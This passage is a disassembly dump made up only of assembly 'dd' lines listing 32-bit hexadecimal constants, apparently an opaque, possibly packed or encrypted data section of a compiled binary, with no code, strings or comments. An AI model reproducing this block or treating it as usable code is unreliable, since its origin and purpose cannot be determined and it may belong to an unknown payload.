		dd 0FEE0C73h, 7502BB1Ah, 0A2C44F00h, 0EC00496Bh, 0DAFEF29Fh
		dd 0E2A867h, 532BABD2h,	80AA5942h, 0DB6525h, 5266A064h
		dd 5F873FAFh, 588B3A7Ah, 0BD4C280h, 0A8616C97h,	29415A07h
		dd 21FFAE07h, 0E0D16F30h, 903911CCh, 885C003Dh,	60208E5h
		dd 870094A4h, 0C0A276E2h, 3A3D10EAh, 0FE87E1C2h, 20043A01h
		dd 0A9382B30h, 8CE41E28h, 4B7A5C00h, 0FA9318C0h, 7FC40058h
		dd 89C20106h, 0A8FEA7D9h, 80ECA438h, 545AF672h,	2D46552h
		dd 520899Eh, 848029B1h,	0CC68EC14h, 94A04300h, 407C9E5Eh
		dd 0D62B037Eh, 0E71EBA96h, 6A1BDE80h, 0F1EAC703h, 5F3633h
		dd 0DDC9B538h, 9DA48297h, 0C80E0A71h, 802DF1D5h, 90EB2EF8h
		dd 583E000Ch, 0A772786h, 0DD7BC2C4h, 0D83C3378h, 0F1FB809Ch
		dd 0F7A20C41h, 83590075h, 1A2273D9h, 10266B1h, 0ED48F5E9h
		dd 0FF5040D1h, 0CC190059h, 0C465CF4Eh, 0B00C938h, 357881DBh
		dd 7BDEE26Ch, 0CB8A0FFDh, 0F5E0DAF0h, 971D797Fh, 7BEE0601h
		dd 0D1A693B7h, 4807D7DCh, 0DB000CFFh, 8C411EF1h, 0FA008FAEh
		dd 0C5D28874h, 107D06Fh, 63ACAD96h, 0F09732A8h,	2002AA09h
		dd 0C90D80BCh, 22A587DBh, 0E5070BF0h, 7EF500D0h, 8512AD75h
		dd 2A012601h, 0F68AEEE8h, 28F827ACh, 2CD000F1h,	0D49074A1h
		dd 0F300E471h, 9FAF85F7h, 600A08h, 0CFB6E589h, 6A4D15AEh
		dd 76D7F200h, 9F3C750Fh, 687901A9h, 9CC601D5h, 0E1B0C087h
		dd 0DBF7FD50h, 0C4CB3200h, 2B65D193h, 7D3503EEh, 0EA552E02h
		dd 0F1079EA0h, 0ABAD2800h, 59EB8184h, 8EE00DFh,	5273768Bh
		dd 9C00C0C6h, 1E2D549Dh, 3C9A774h, 0AD259ECEh, 70987A9Ah
		dd 6828AACAh, 9600B922h, 0A3F37C33h, 0B8DB8Dh, 0FD607A71h
		dd 0CCFAB54Ch, 1BD71300h, 0BAA6E58h, 0A1260150h, 483E6FF3h
		dd 8BEFFCE9h, 0E5E3E700h, 8E831E58h, 26870134h,	5E3554B2h
		dd 2791F82Eh, 0E1F43C03h, 33BD6F1h, 0F001B7B6h,	38A1DF77h
		dd 3AC3F072h, 27C6501Ch, 0F945BF81h, 40CA124Bh,	908BD27Dh
		dd 2E110073h, 701669E1h, 8500F5A6h, 818A5CC9h, 0A83BA58Fh
		dd 70B484D0h, 172701F0h, 8A9CA293h, 2D21E823h, 0EB4DE501h
		dd 0F461E18h, 0AF414880h, 5E072483h, 0F1803500h, 23105D49h
		dd 0DD3C0ECDh, 3820CB1Ch, 0E8AABD5Fh, 0D1BB6700h, 93140154h
		dd 57C00642h, 992C3622h, 3A6A812h, 0F26C41F0h, 0F0BF000Fh
		dd 3C962852h, 0FB0B7525h, 80DF94B7h, 0F958B0CEh, 2B4F076Ch
		dd 0AF052A84h, 0AF80A6EFh, 8756F3FCh, 0D606AD01h, 187AB152h
		dd 0F5D020h, 4CCC3676h,	0D0CD2821h, 2A246F00h, 0E2325E31h
		dd 97D700BAh, 0F24EBF05h, 0C70351A2h, 0FFAAFA69h, 9E40E85Eh
		dd 73A7003Bh, 0D9D3628Dh, 0BF043E79h, 85483DDAh, 0F7DB7DC0h
		dd 0F417016Eh, 0A228BA50h, 8ABE6082h, 1C00AA75h, 0E9855832h
		dd 7094E508h, 0A0D33F42h, 5B191F00h, 15BE349Dh,	8C14442Ah
		dd 28ED9800h, 0E7B0840Fh, 0B1611D4Ah, 0DB86476Ch, 46C900BFh
		dd 4B00EC2Bh, 6184D8F7h, 2E64258h, 8F6BD7E5h, 0F0A060A3h
		dd 0F89A51AAh, 0D4C7FC00h, 9FE42C23h, 98621E56h, 6BCA400Bh
		dd 7C91DA46h, 1D350905h, 0AF80F386h, 681AEAh, 0A590C81Eh
		dd 401B9324h, 5010C71Fh, 0FA722B83h, 3798B886h,	0BBB12E2h
		dd 4D1000C6h, 0CDBE8B8Ah
		dd 7A9D5CC7h, 88656CF3h, 3E51A3h, 13AD3044h, 4022FA24h
		dd 4DD34A1Dh, 50C023C0h, 53BDCFh, 0B8CB1873h, 6C254C1Bh
		dd 0D5BFEA09h, 0AF34807Dh, 14D02105h, 0B25BF9D8h, 838D5300h
		dd 0B6486F54h, 76B05700h, 8B6C0A91h, 531004Eh, 5C61C242h
		dd 6700D065h, 0FAE357E6h, 0C45EA9h, 93567DDCh, 5B02B57Ah
		dd 0B376D000h, 2172290Dh, 47F000E1h, 0DC56C551h, 0B94CBA49h
		dd 48920B88h, 18D101AAh, 3C309652h, 0C1FA0794h,	90D72351h
		dd 7AF9802Ah, 1A976615h, 406E02ECh, 8078351Bh, 0DEBF32E8h
		dd 1F4402CCh, 0FA65EBC7h, 354039E2h, 3218EEFCh,	60381775h
		dd 0C5C81284h, 631C000Bh, 0FD050F0Dh, 568C6106h, 28809816h
		dd 1CB0F465h, 7E9967h, 6332FA48h, 4600C634h, 5F8E1FF2h
		dd 300B9B72h, 51C9E816h, 1D26313Ch, 3E0E98FCh, 80214ECFh
		dd 0D6C74A7Fh, 0CCF000F6h, 0D28D66C1h, 4F002D0Ah, 0B90D841h
		dd 19573E8h, 7A9CC58Ch,	0D839E5D5h, 0FD00E25Eh,	497D54A9h
		dd 583F4Dh, 2BD991D2h, 62D70487h, 0E0780F0h, 0B03C37Ch
		dd 719B7DD3h, 7EE080h, 95A89E8Ch, 0B0D314A2h, 0E7884A00h
		dd 8F9DCCE6h, 4F3B0082h, 0BBA44EF0h, 1950EDBh, 1E2C6EC6h
		dd 0E26F8060h, 0D0842087h, 0E1922460h, 0B2D2BFh, 0D43D81AAh
		dd 8A94147Eh, 2365DA0Bh, 0A2D88F9Eh, 0C385E755h, 4D33B899h
		dd 0C67C007Bh, 9FC9413Bh, 6EEA20F9h, 8AB85D00h,	892B5A9Ah
		dd 0D9633F64h, 71C01282h, 0D04003A3h, 3100992Eh, 3DE26AE1h
		dd 0CC4CC8h, 523E7B93h,	9C89868Ah, 5007E0F8h, 5B05B61Eh
		dd 142420E9h, 259A78Ch,	84F5FEC7h, 0B887CA69h, 0A089B703h
		dd 0B1CFA37Fh, 30DDA803h, 0A0C9D912h, 3B3666Ah,	2AAE58D0h
		dd 85E069F1h, 9E16838Bh, 0A40036D3h, 0C97C5E5Fh, 0DED70042h
		dd 4AC813D0h, 0FB12853Bh, 6C278314h, 63E2AD62h,	6BC0F0ABh
		dd 98730F66h, 3820EB7Ah, 0D2C1AB07h, 3168F3Fh, 8BCEA0Ah
		dd 5020D04Dh, 86670FA5h, 9E80BD2Ah, 157689Dh, 0CCBCB100h
		dd 0DDB56B4Bh, 887E2491h, 15C38BE8h, 0F13D1CA0h, 0A6007409h
		dd 29B76805h, 0A7D604h,	73423FD5h, 0C74CFA16h, 93D6F09h
		dd 0C1E0822Ah, 3C844CFh, 0C9B160C8h, 19B0B45Bh,	0CE0299A2h
		dd 2666F7DCh, 8030431Fh, 1E9B2BCFh, 1D298F40h, 653FC09Ah
		dd 64F7BE78h, 0B74DB300h, 1B148E1Ah, 779A00AFh,	4465A635h
		dd 8900A4E8h, 0A857141h, 0E03ED4h, 0C1AE317Eh, 0B1910C32h
		dd 0A90EEB00h, 616C6ECCh, 5FB00C2h, 0E8BCFA4Eh,	91004A88h
		dd 1C0C856Ah, 0B1838Fh,	182432CAh, 0F2C85204h, 47E58600h
		dd 5E2B8567h, 4290002Dh, 46722668h, 0FD00E348h,	0B8ED64CCh
		dd 0F89814F9h, 6A811E7Dh, 0D80ACE96h, 42C5E7C2h, 0F7DED4E0h
		dd 0BB538900h, 0C9DA7F4Ah, 0F9CA3002h, 4869392h, 7CB5DD02h
		dd 6068A9D1h, 2323E34h,	0DFBA71CAh, 4DC36D84h, 29A60880h
		dd 3D1FAF09h, 244C22A8h, 0C2C68033h, 988A0FF6h,	4FBE0068h
		dd 0D1E32B89h, 4790C514h, 22605000h, 11623D1Ah,	520C0729h
		dd 80F0384Fh, 0F544F39Fh, 924B5100h, 0D32AEABEh, 0C87D01CBh
		dd 0B06F0AEEh, 3242CCD1h, 0F4AE767Ah, 4960517h,	57AF1C00h
		dd 0ECD515h, 0A63F9497h, 468FE6BEh, 53A2D21Dh, 0DF0FB65Ch
		dd 81508B49h, 0CF27D008h, 9B9AC0h, 516D47A7h, 5AEB609Dh
		dd 1CBDAB00h, 0DCDA0306h, 2CE0CEh, 4F9FE7AFh, 28FF8FCDh
		dd 11847700h, 0D5BBEEEAh, 54523CF2h, 4D5BEB00h,	0F1EDCD83h
		dd 0F8857203h, 0B00C0D1Fh, 3D29E878h, 67800AFCh, 18CF2520h
		dd 9E0E38DEh, 0C14ACEDDh, 13404E06h, 3A73DCh, 12B08A6Ah
		dd 105AB7BDh, 1D57FB00h, 0E29C2625h, 13F607ACh,	60E4A4D7h
		dd 7218A9D0h, 0E639F100h, 6B58AE54h, 883101EEh,	82E17EFEh
		dd 6A00709Ah, 401DDCEDh, 90361F07h, 0F0B071C7h,	2F3C93h
		dd 116A8857h, 5375FBCAh, 494F5E0Bh, 0DC758B35h,	5BC800BBh
		dd 23680904h, 0F03BF4C0h, 0E80259h, 658DEAB9h, 9C636AA0h
		dd 972DDA00h, 0DBEE2613h, 0E06F0048h, 8A7832B3h, 591D4228h
		dd 138084FEh, 4664600Dh, 6151016Ah, 0FFC70338h,	755D700Fh
		dd 0F38B4100h, 0CA682084h, 52FB07C3h, 40E3B8B6h, 0D889ADE9h
		dd 0C8F9A303h, 0B8B5C732h, 0DA64F2h, 134D16BFh,	0A106DB1Dh
		dd 9A094101h, 8AAB028Bh, 215CE8h, 24EB3235h, 0EA464792h
		dd 0C09C6225h, 8F01F6h,	0F16838C3h, 0B246A31h, 74726127h
		dd 0DF2477h, 48F8D1ECh,	0BB00C9AEh, 0AB305688h,	0FE751EBh
		dd 0A9CA78D6h, 17476680h, 0A47FC89Ah, 53EC051Ch, 0B5003F56h
		dd 9174F41Fh, 0EE4B014Eh, 67B61DB5h, 0D16F89Ch,	7F1E4576h
		dd 0E8C0EBD9h, 3330E7F0h, 0CE831376h, 0AB21002Eh, 89D1BA80h
		dd 0B077598h, 0B05AFE96h, 9CEE3000h, 0D8D007Dh,	0BA47EC8Fh
		dd 4B00E21Bh, 27A4590Eh, 0A2BFAEh, 0D7B081FBh, 85CB63FCh
		dd 6A25FE1Ch, 0B1F0840h, 4C6032h, 385BDDACh, 34B9D8A4h
		dd 7B61E200h, 2C69AA10h, 0FCB7004Fh, 0FFEF8492h, 3000C1DBh
		dd 0C9B0D6CBh, 7A85BE9Ch, 5F6027Dh, 0E5F767A9h,	260BE62h
		dd 641D487Ch, 5D80E1C6h, 6B04659Fh, 0E00B0072h,	923A1E94h
		dd 0C07FD98h, 3C42EB03h, 0CF80BEA5h, 0A9D2665h,	1837D8BDh
		dd 0C3B70FAAh, 6A931480h, 510019F1h, 4D7EBECFh,	0FF4A2A61h
		dd 0D0409EF9h, 1DFC18h,	20ED8E5Ah, 9A581E3Ah, 32F68300h
		dd 3BC4D129h, 0F0FD0047h, 452080Ch, 0B5E68934h,	0A600BB75h
		dd 4CE72622h, 75E30D2h,	799B3FDCh, 6F65F005h, 12860BEh
		dd 0A5390885h, 33F07AAAh, 0FAE66200h, 54AFD84Ah, 0BFAB0066h
		dd 0DFD1146h, 0D6FAA736h, 0AC0E4F00h, 2A6EB868h, 90D900A1h
		dd 94E198A8h, 7400F8C4h, 0B5203F8Bh, 58E81FDh, 93194DE0h
		dd 3BFE0041h, 71B3E3D2h, 0D854E01h, 91626CD1h, 0D7A23E82h
		dd 8480C486h, 5F22D8CEh, 0C1BB8200h, 1B332B97h,	1CE498A2h
		dd 0DC0835EAh, 5D803B2Fh, 99E9D467h, 4A00F44Dh,	0CED877D0h
		dd 505852h, 0F5CC0885h,	972EEF10h, 903C8100h, 364CCFACh
		dd 7C02004Fh, 1CA806C4h, 4AEE4D9Ah, 35AF3C18h, 0B8E126h
		dd 0F539E6B5h, 628AA2F3h, 29FAD51Eh, 25189480h,	10AD0B6h
		dd 2A6690FDh, 0C0AF68C6h, 0CC008F61h, 0D89439B8h, 14D8AD7h
		dd 33EA5635h, 7018C2CAh, 3878A2E3h, 2C003BF2h, 9402370Fh
		dd 0A342AAh, 0F87695DFh, 0B9E7442Dh, 0B840331Fh, 1B128CC0h
		dd 2D305h, 0AF7137E2h, 0C99E530Fh, 9ACA6B00h, 49B4C479h
		dd 9C510020h, 0F79B66D4h, 0BAE8591Ch, 6020A16Fh, 931F14ADh
		dd 66070040h, 0E074EF19h, 7E52698Bh, 0ED7EF028h, 37008485h
		dd 0EBA8B2A3h, 7E7D63ABh, 4C3C000Fh, 5A9BBFC3h,	0DF1EC757h
		dd 710EF30Eh, 0F981A6A4h, 0A0D60340h, 99D1B6E0h, 0CA87100h
		dd 40ECAE5Fh, 3420849Ah, 2C371CDDh, 0B9C2402Bh,	0F2A7125Ah
		dd 0ACF7CC00h, 1C1D1B83h, 42290AD8h, 1468E126h,	0BF8030CFh
		dd 2116640Eh, 85685754h, 0A38091DFh, 90BD4F0Dh,	0D4EA0063h
		dd 598E039Dh, 96008526h, 0DFDB2E77h, 3D799E4Dh,	8480C264h
		dd 6C764FF4h, 190C0EADh, 0B08DBB6Bh, 7B50001Eh,	0FEA14342h
		dd 65071CA5h, 7952EB8Fh, 0F2260370h, 38B9B025h,	0D11DDDB8h
		dd 0CC3400BFh, 0E8891DAh, 59184F00h, 0AF77FA33h, 0F27800A0h
		dd 9231C4E8h, 2503DC2Eh, 223F79EBh, 0B81807EEh,	88774CC3h
		dd 5BC56200h, 799B6375h, 4B9F0343h, 0A8D9919Ah,	30F5D0A7h
		dd 0F907190Fh, 0FB4CB67Ah
		dd 2661F80h, 91F07Bh, 6FDD6E69h, 1C9A19BAh, 1F021274h
		dd 92BD3F89h, 0E2A7E031h, 479E0086h, 26A43D84h,	9C75DC4Eh
		dd 58EC0C03h, 0A1FFD418h, 0B9D0D566h, 9D911FABh, 1C007B20h
		dd 0EA32C33Ah, 3800F08Bh, 6C5ACFFCh, 3E6F6CDh, 0F135C525h
		dd 4B0BEE0h, 0A900CCC6h, 0E749533Ah, 3B29C251h,	9580160Eh
		dd 0B5F45782h, 200C9DBh, 0CE1AC511h, 18550E2Ah,	70122851h
		dd 4800E1A7h, 64BCFD76h, 30ACA252h, 72D8A4E4h, 0F50E3C87h
		dd 63D723FBh, 0E733BD10h, 0D14592A3h, 0DB40FFB4h, 189D8337h
		dd 58FA4D6Eh, 0BE7A5C3Bh, 0AD567400h, 1E9E7177h, 0E07060BCh
		dd 6B360458h, 0BDD25400h, 0F2505CEDh, 4CD00072h, 268509A5h
		dd 123C05A3h, 0B67C8084h, 0D87B1ED7h, 721D010Bh, 94169311h
		dd 0BAE0EF0Ah, 3B006FB0h, 2D98C96h, 689DFEh, 93A445A5h
		dd 6EBB8463h, 42867400h, 0A39098F6h, 0D7D50F1Bh, 88E0286Bh
		dd 34C35D55h, 9A95920Fh, 97572FD6h, 0B030D91Dh,	59B91FCh
		dd 75488B06h, 0AA9C0042h, 4C90A3DCh, 777E53Ah, 4097DF9Fh
		dd 6CFC5670h, 3B7E0F29h, 0F1EFCB49h, 0A14F0C40h, 371F5DBh
		dd 2BB49C00h, 0A85E15A0h, 23660197h, 47490AC4h,	8DE2C860h
		dd 22007F78h, 0F8E4824Ah, 12D0554h, 91048A20h, 0F4F48C98h
		dd 4007CAC7h, 0ED615C9Fh, 0A3BA36B0h, 7A6006C1h, 362420A1h
		dd 536E4600h, 0BD82C58Eh, 54090081h, 3786BE75h,	137DA8A4h
		dd 0C00ECA00h, 0B7815D9Fh, 418E000Ah, 71ABE5F0h, 49C09E0Fh
		dd 9BE05686h, 0ECD20009h, 0A9083CA8h, 111E42FDh, 3100BEEEh
		dd 0E8541F9Ch, 0DB98076Ch, 40DD5CCFh, 7C6B37A0h, 44223B0Fh
		dd 4AC500DCh, 7C9E35EBh, 0DE9700ACh, 19EFF4FBh,	5218A65Ch
		dd 41C8511Bh, 0E1540046h, 3ED6C33Ch, 47FC0A9Bh,	0A9B80C33h
		dd 0F43C075h, 6ED70038h, 93D9C69Dh, 20FF3313h, 2B0F4990h
		dd 80AC45AFh, 0B76DEAAh, 0E1E3005Ah, 4317D0Ah, 0E0D847F5h
		dd 2678E748h, 84DAC7h, 0E9F98CCCh, 0CF0B25A2h, 0DC2D85h
		dd 5E8DAC91h, 97730069h, 716695B2h, 39F6EB21h, 4C009FF2h
		dd 4A373BA1h, 0F46975E8h, 9BE4003Eh, 285D660Ch,	6F00544Ch
		dd 0BEE23AE0h, 184B5F6Dh, 2C52DE2Dh, 7028551Bh,	1500AB71h
		dd 407430Eh, 72EFC4h, 0A2C00FB1h, 535ABAB3h, 6DEA6800h
		dd 0E5DF1D1Fh, 72F75DDh, 0B036AF4Ah, 5282D0D2h,	0C70164E1h
		dd 9E4BAAFCh, 0A3F0B50Ah, 0F55FE35h, 383C3AC0h,	0BDD13240h
		dd 0F020A99h, 0DC392A16h, 469980ABh, 3BEA33DFh,	3626FFECh
		dd 97F30030h, 2CC5F031h, 895D3Fh, 646B3E49h, 0D98365h
		dd 0E00EC2BEh, 528C9D03h, 0C1DB2C00h, 2AD1B953h, 56E200A8h
		dd 0FD6AE547h, 84000E9Bh, 9D454F80h, 1EB9D5CAh,	8016E0D3h
		dd 118F1AE6h, 3D004EE1h, 1B2DC42Bh, 0ABBA12h, 0D2F8CC46h
		dd 2964ECDDh, 0E900BDFCh, 0B84ECAA0h, 0ECD64C42h, 8FD0061h
		dd 94EC9614h, 9E000D9Ch, 16897E7Ch, 0F8445Ch, 2068AD45h
		dd 33CBAC2Dh, 8C978407h, 0E1EE2EE1h, 79BBEC2h, 5D6F0DBh
		dd 0A1E6385Dh, 1282CF9Ch, 8D4E00CAh, 0FB43CE3Fh, 0D83A0700h
		dd 9ACB8F17h, 97DC001Bh, 0F5B3B792h, 648E7EAh, 0BD360043h
		dd 6E8FE2D6h, 0C07038AEh, 0DA1896h, 0E52DD716h,	5A00E853h
		dd 82D37CB4h, 0C826E0h,	0DE3C1574h, 1288CA5Dh, 0B3CF3700h
		dd 44F92E06h, 1F5A3F5Bh, 6F2F1180h, 458F087Ch, 4D374E00h
		dd 303A7A88h, 1E32EA6Bh, 8B5472D3h, 0B300C1CEh,	0DF3B31AEh
		dd 73E9C00h, 0ECD3BB15h, 3F46007Dh, 2A5503B1h, 9C002751h
		dd 87DF09A6h, 0CD9F66h,	89E0140Dh, 7983C3Bh, 0E7A4C600h
		dd 38CBBA57h, 0B7B84CBFh, 4B926500h, 25054191h,	1C13297Bh
		dd 4107D632h, 80A022BFh, 2C9812AAh, 8928B7h, 0C2B30571h
		dd 8C002A37h, 0FAE6F09Fh, 0E7469Bh, 0BB13E24Fh,	643488C9h
		dd 0E1448001h, 1785FC5h, 2880CC71h, 0A128CF81h,	1C00595Bh
		dd 6929887Eh, 152C0Dh, 0A5D850CAh, 10FF0F05h, 0F9F4311Ch
		dd 0C33D20C0h, 74241Eh,	5E306201h, 9C98B4ADh, 219ACC00h
		dd 0D9E8C606h, 40170012h, 0DD66CD2Eh, 5500E402h, 3F031690h
		dd 0CAB9ACh, 0E2EC0921h, 0F858087Dh, 4A00A7B0h,	180FDE59h
		dd 0CF8F1Fh, 56AA120Bh,	0FF1617BFh, 3ABB3B0Eh, 0D242C187h
		dd 0F4C1B30Eh, 12FAC2E8h, 4AEB413h, 0C03CEDA8h,	0C7C0DA4Ch
		dd 0F516B000h, 58C5AA3h, 0B350195h, 9D37E76Eh, 8EDFE8A7h
		dd 0F216D400h, 0CF575D2Fh, 46B6008Fh, 7A386425h, 0F090F8F9h
		dd 0E2DE7900h, 40D3AE34h, 26AF002Dh, 0E68E757Dh, 3C07D857h
		dd 43B23AAAh, 0E0F470D0h, 0E208002Dh, 6CC40BB9h, 0B101A4F6h
		dd 0E633D94Bh, 0DAD8579Bh, 10BA003Ah, 0D115EAFFh, 5E0003C5h
		dd 84680636h, 3F173CF1h, 1D0E8D1Bh, 70A0BF0Fh, 8616599Ah
		dd 9DAEC100h, 0F84C564Eh, 0B78B1FB4h, 0DB3840A2h, 7A3E0329h
		dd 62489300h, 3F5F0895h, 59F0079h, 92739E7Eh, 26000654h
		dd 44B2D1FEh, 5D1DB7h, 0BC903F78h, 0A894D90Ch, 6C465200h
		dd 87178B15h, 0BEF0FD8h, 0E7C0BD51h, 0BE420307h, 9ACE8A00h
		dd 4FFC75B7h, 0FEF802E1h, 7C64C13Eh, 6EA25C40h,	7B1651Dh
		dd 52005B97h, 0B2A68F11h, 13F793Bh, 193510Ah, 20EF6A0Bh
		dd 3300196Dh, 564C052h,	3C11F4FCh, 6280C595h, 73877DABh
		dd 3C07FBB9h, 0C4584871h, 4EA18C10h, 3EEA07B6h,	7CD2AA8h
		dd 717A00EBh, 0A51F3087h, 0CB406C4Fh, 76FC1505h, 431007D5h
		dd 4094199Fh, 2879C832h, 49078772h, 25EDB818h, 374DB540h
		dd 5DD9012Dh, 63AD8EA8h, 23C5700Ah, 4631C200h, 291EEADAh
		dd 7A2500E5h, 84F136Eh,	4BEEA01Ch, 0D23D8500h, 44CCB8E3h
		dd 19B503BFh, 0B6955A11h, 0EC265FD1h, 0E900D646h, 7957624Ah
		dd 2E3947BFh, 57D5B51h,	508599h, 0A6D2C8A8h, 490A7D06h
		dd 0DB0144AAh, 0E9117400h, 2CC65A71h, 3FC80BEDh, 193DD003h
		dd 0BEA0B86Bh, 1F007B2Fh, 0EBAACB93h, 3047C9h, 823C96F2h
		dd 0B9AEA39h, 4D00E0FEh, 8D8AE79Bh, 9099A9ECh, 0ABCD072Ch
		dd 50C7E5F8h, 0BADF8827h, 65BE3B00h, 4FA1AF68h,	7AE300E7h
		dd 0D71C2F60h, 5E43AE5h, 5782F900h, 54DE33A1h, 0C5B800B4h
		dd 772B40DBh, 83003274h, 1D633F2Dh, 624624h, 28129F98h
		dd 0A952EE59h, 0DC70D701h, 0D65A0AF2h, 7A684AE8h, 187739h
		dd 0E5C29C19h, 0CAADACDAh, 593B3D00h, 0E4B23641h, 0E2FC00D2h
		dd 232844BCh, 2900B737h, 1EF71756h, 0F6EB8766h,	48060027h
		dd 0CAE9D20Eh, 441F77F8h, 55408F6Fh, 0C554131Eh, 38C600A3h
		dd 623AC25Fh, 5C03F20Eh, 0F14BFDF3h, 3E63F8FAh,	0D1F71E74h
		dd 1BE543FCh, 0D2D0F96Bh, 57001305h, 0CD6E3254h, 180F94BEh
		dd 21B1C3E6h, 0E200D359h, 0B54E7738h, 0F0D47EFh, 0A0D473AAh
		dd 1E345C20h, 0C20316DDh, 7AEC429Ch, 73DFA8B6h,	201F030Ch
		dd 0AB3EF34Ch, 0AFA490C0h, 0B400D679h, 0A86ED050h, 1840BF5Dh
		dd 71AA62E4h, 0E1500443h, 0D301F18Ch, 549DE94Ch, 0AAC001ABh
		dd 88E47Eh, 0B8499895h,	29E5155h, 0CB0A7C00h, 83C77269h
		dd 2FA50023h, 21A3F47Ah, 6B13B2BEh, 55075ED2h, 1CC03F1Bh
		dd 787DDAAh, 95797396h,	4009119Dh, 8FD36037h, 70DAB403h
		dd 0A9ABF88Ah, 0C6E46F62h, 571E017Eh, 0A6598703h, 899E419Fh
		dd 243FD81Ah, 0A2B1AD1Eh, 5CFF5543h, 0FCE1F82Dh, 0F280A8A8h
		dd 0EDF60133h, 35968803h, 16098C2Ah, 12205Dh, 4A9DCC5Ah
		dd 0F91AC9D0h, 8834BC01h
		dd 60EB22D8h, 5B9E8850h, 0FD0C0318h, 0FFB6B5B3h, 24A0B4DBh
		dd 0F60765BFh, 592532D0h, 0CBDFF770h, 68AA138Fh, 0F3230760h
		dd 66B16026h, 0A21C4D7Bh, 2FC634B6h, 4668F1D2h,	0FA2A00B3h
		dd 215BFD02h, 250385C8h, 0F994B2A0h, 2DD835BCh,	13B5B63h
		dd 5CEC3E3Ah, 0D2D99DB1h, 0D989AE3Bh, 8097F11Ch, 0B1450D03h
		dd 1F2AD044h, 5B3403BFh, 59670A38h, 5165B7E0h, 35569800h
		dd 7811A010h, 9AFF1CD9h, 2DE2D7Ah, 0DB366200h, 3CDD19BCh
		dd 0CC8C03FCh, 57207871h, 0BD600C01h, 9E3BD828h, 0FB98B30h
		dd 0FE783AC0h, 0FF27DA20h, 5800F5AAh, 7B17F2B8h, 0BA7E8D3h
		dd 4E988C16h, 48C42E80h, 711D28CDh, 0BFC35403h,	0D0FBF9CAh
		dd 4EE17Ch, 3DE74CF0h, 551BD44h, 5467DF00h, 0D46B810Fh
		dd 2CAB00F2h, 0B7253313h, 0F4008086h, 22C1A15Eh, 942B2h
		dd 0A8AEF8FEh, 0C047BC57h, 0DA9BAB00h, 0EE83DFC2h, 72E10094h
		dd 7CC8C117h, 4801A690h, 3841304h, 4980F0A3h, 1BBFB03Dh
		dd 9E1DD36Eh, 88806792h, 5B4E7CFCh, 0F8A23F83h,	0F7EC0072h
		dd 0B2814C7Ah, 550C6BC4h, 19D80EFAh, 9F8400F4h,	1566D6C7h
		dd 0DA07C5B0h, 0AF65E3AAh, 28AB780h, 69EB00BEh,	8275C35Dh
		dd 7EF0B1F6h, 50483D00h, 0F51162E0h, 3F9B584Bh,	3ED80C02h
		dd 8AE0C621h, 0DC00F803h, 26500F85h, 239706h, 0C0CF171Ah
		dd 0B1F90B41h, 0FF24C500h, 0F2B7863Ah, 8E73C53h, 0C24C1Fh
		dd 0C83CA1AAh, 0D018B1F4h, 8A30FDCEh, 2BB30015h, 0AA024825h
		dd 0E5008166h, 1E1AB279h, 7FF3128h, 98E95268h, 8D57C7E7h
		dd 0EABEFC69h, 804BF8A1h, 4F083B60h, 3A4433CAh,	0B507CCC3h
		dd 0D05F69BCh, 0C9F86A50h, 1C836500h, 6036A28Bh, 0B648C0A5h
		dd 0F13C27E8h, 0E90106F8h, 0DEE12CA0h, 58C03FF3h, 3610006Bh
		dd 0CB747696h, 4207ABC2h, 1E99C50Dh, 318B5D6h, 0F341571Dh
		dd 0E07FCB32h, 353E8E0Eh, 34BEE0E6h, 3ACE993Dh,	0A40040AFh
		dd 0A3E4FB8Ah, 44639E06h, 0F817D1h, 2C11B9C9h, 6DCDD459h
		dd 0B610EB00h, 5101DC09h, 0C3021EABh, 9CF440E9h, 438F1EB2h
		dd 17007370h, 5B9D50A9h, 1D0E0F58h, 81980CEAh, 55B5BBBEh
		dd 23B857ADh, 68005486h, 0F4780BFFh, 2F5293h, 0A10C4E31h
		dd 0EC438CF6h, 56BCA61Dh, 7EB2F041h, 62E43502h,	0FE920064h
		dd 0BBC84A3Fh, 0EF011B0Dh, 2F48F884h, 0A8FBAF6Bh, 95EA1Ah
		dd 0E0048B52h, 83D5D613h, 0A03DE7ECh, 0BA2D00B7h, 1896F87Dh
		dd 63A0CA3h, 58CAF02Fh,	105C82E6h, 12CD1C52h, 719068C0h
		dd 0F0552AC6h, 460900EAh, 0D2A6704Bh, 1338B4AAh, 2F2B8EEBh
		dd 2CB16063h, 7062ABB5h, 0C0E1E8BEh, 20EF1858h,	0D414C89Eh
		dd 382292h, 0DA65AD28h,	0F095CAEh, 0A41FBEFCh, 34CC9FA0h
		dd 3C001226h, 0AF211C1Ah, 0E0A577h, 0A698DA1Fh,	8DEB9594h
		dd 0B906F901h, 1E4213D5h, 0EE47E560h, 0EF141377h, 0A0C4004Dh
		dd 0B932DF19h, 1C30E17Ch, 312B1993h, 447371h, 0CC7FB46Ch
		dd 0F4188CD6h, 332220F9h, 0C08670E5h, 62F2E00h,	0FB4FDE50h
		dd 79B0175h, 473F3065h,	2FDCDCA9h, 3DC83B00h, 0DB9058CCh
		dd 0DD570043h, 67E3CFF8h, 9900718Fh, 9A143F44h,	0F07362h
		dd 79C48E5Ch, 7087A61Ch, 36994514h, 6AAEE120h, 0C81C5818h
		dd 96C174E6h, 63813C8Dh, 0E3BAE07Fh, 49C68001h,	5550F06Ch
		dd 60304C70h, 0CD4748DFh, 0B17F2E0Eh, 0BD17902h, 40058FD9h
		dd 305F8A64h, 60E81EEBh, 0C373E381h, 1F569500h,	0A604F10Eh
		dd 0EECE083h, 9F47DBAEh, 1C0AA0E0h, 9E00981Dh, 15E2D2F3h
		dd 3D36655h, 0DBA6570Eh, 0D0AFDEE9h, 46C0AA71h,	0A405C728h
		dd 3AB0AD1Bh, 57F1C078h, 0A8FF5092h, 6085ECA0h,	0B9BB5874h
		dd 247B936Bh, 80B4232Ah, 0F3A793Eh, 0A046E70Dh,	6CBA6209h
		dd 0B51C21CEh, 0EA657280h, 8D48A99Dh, 1F093B00h, 3595B4h
		dd 8202BC81h, 91AAEB9Eh, 0F0A12F2Ah, 3B252800h,	34EAD3AEh
		dd 3A9505BEh, 0C18379E8h, 0C492F896h, 0FC009CDBh, 475CD3CDh
		dd 10F0748h, 601268A0h,	0F03B4CAEh, 9600C09Ch, 0DE489949h
		dd 14FF0940h, 206F8DCEh, 609041B7h, 0A40863h, 3E0C8B8Dh
		dd 8ABE1578h, 87489176h, 475307CAh, 69B7A605h, 95C789C0h
		dd 18071E09h, 7042CF9Bh, 0DBA3E6A0h, 4F18E7A5h,	13309F22h
		dd 7719C0F1h, 57715108h, 0B2296E00h, 44920A10h,	116F03B6h
		dd 886DBE18h, 6705A800h, 0A324B85Fh, 0A814003Bh, 8FE13963h
